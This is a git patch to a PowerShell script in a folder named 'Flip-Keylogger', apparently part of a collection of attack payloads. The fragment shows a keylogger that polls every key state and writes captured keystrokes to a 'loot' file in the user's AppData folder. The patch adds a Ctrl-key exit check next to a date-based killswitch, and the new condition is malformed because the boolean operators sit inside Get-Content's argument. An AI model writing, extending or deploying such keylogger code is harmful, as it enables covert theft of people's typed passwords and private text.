From 05c3897d4dcd97cf64e65c0ec32d5868496e2199 Mon Sep 17 00:00:00 2001
From: I-Am-Jakoby <Michaelryanchitwood@gmail.com>
Date: Sun, 25 Dec 2022 10:50:49 -0600
Subject: [PATCH] Update -keys.ps1

---
 Payloads/Flip-Keylogger/-keys.ps1 | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/Payloads/Flip-Keylogger/-keys.ps1 b/Payloads/Flip-Keylogger/-keys.ps1
index 9ef526f..837beec 100644
--- a/Payloads/Flip-Keylogger/-keys.ps1
+++ b/Payloads/Flip-Keylogger/-keys.ps1
@@ -1,3 +1,8 @@
+Add-Type -AssemblyName WindowsBase
+Add-Type -AssemblyName PresentationCore
+$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
+$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
+
 function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
   $signatures = @'
   [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
@@ -21,7 +26,7 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
 
     while ($true) {
       Start-Sleep -Milliseconds 40
-      if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){exit}
+      if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
       
 
       for ($ascii = 9; $ascii -le 254; $ascii++) {